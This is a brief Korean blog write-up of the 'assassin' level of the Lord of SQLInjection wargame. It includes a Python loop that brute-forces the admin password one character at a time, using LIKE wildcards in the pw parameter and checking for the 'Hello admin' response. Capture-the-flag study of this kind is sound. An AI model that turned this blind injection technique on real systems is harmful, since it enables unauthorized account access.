Hacking & Security/Web_hacking 문제풀이

LORD OF SQLINJECTION - assassin

choideu 2021. 8. 20. 18:55

해석하면 result의 id값이 admin일 때 solve되는데, admin의 pw를 구해야할 것 같다.

먼저 pw like '________'로 query를 했더니 Hello guest가 떴다. 왠지 admin의 password length도 8일 것 같다.

그럼 python을 사용해서 guest와 admin의 password가 다를 때를 출력해보도록 하자.

 

for i in range(33, 127):
        query = "pw=__{}%".format(chr(i))
        r = requests.get(url+query, headers = headers)
        if "Hello admin" in r.text:
            print(chr(i))
            break

처음에는 {}%로 주었다가 한개씩 _를 앞에 추가해서 admin이 출력되는 pw를 찾았더니 2가 출력되었다.

그럼 admin의 pw가 __2%의 형태 다시 말하면 __2_____라는 것을 알 수있다. 

 

 

clear